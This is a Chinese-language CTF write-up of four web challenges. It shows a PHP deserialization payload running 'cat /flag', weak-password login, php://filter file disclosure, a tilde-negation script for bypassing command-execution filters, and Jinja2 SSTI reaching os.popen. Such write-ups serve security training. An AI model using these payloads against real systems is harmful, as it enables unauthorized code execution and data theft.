web1
web签到题
开启容器后一直是Nothing
,都没有头绪就先拿dirsearch
目录扫描
发现两个文件,flag.txt
是假flag,到www.zip
下载下源码
可以发现有一个反序列化
简单构造
<?php
class Flag{
public $cmd='cat /flag';
}
echo serialize(new Flag()); //
?>
O:4:"Flag":1:{s:3:"cmd";s:9:"cat /flag";}
flag{ca24eba7-0dfe-402d-8210-42fe7a907cd5}
web2
默认是nm的https,搞的好久结果要http访问
访问到一个登录页面,f12
知道admin
为用户名
弱口令破一下
密码是password
会跳转到fllllag.php
访问后非本地用户,改头不行
然后发现登录界面的用户名处输入会产生一个快照
后面发现还可以用其他协议,有文件包含漏洞
那就用php://filter/read=convert.base64-encode/resource=fllllag.php
来编码后读到那个/fllllag.php
的代码
之后用随波逐流解码
REMOTE_ADDR
没法伪造,就直接从快照来访问
分析后只有括号和%,~
这些没有过滤,可以考虑通过取反来绕过
使用这个脚本
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
先读一下路径下有什么
可以得到当前路径下有一个乱码的
直接访问得到
flag{2d38465c-3a3e-43ef-b515-8179676c327f}
web3
随便试了几个发现存在ssti漏洞
而且存在waf
简单试了一下waf
只有对{{
和}}
过滤
直接{% %}
绕过
因为这个格式能确定是jinja2
,其实用lipsum
就可以了
发现可以拿到os
然后就顺着拿popen
函数
可以读到
直接拿到flag
web4
打开发现有一个上传,先f12
,发现有个提示
ZmlsZQ==
可太熟了,能直接知道是file
的base64
知道是参数,不是post就是get,先get
有反应,试一下加上路径
flag{98d83ed0-25ad-4b51-b02c-1dac1e6cdeba}
Comments NOTHING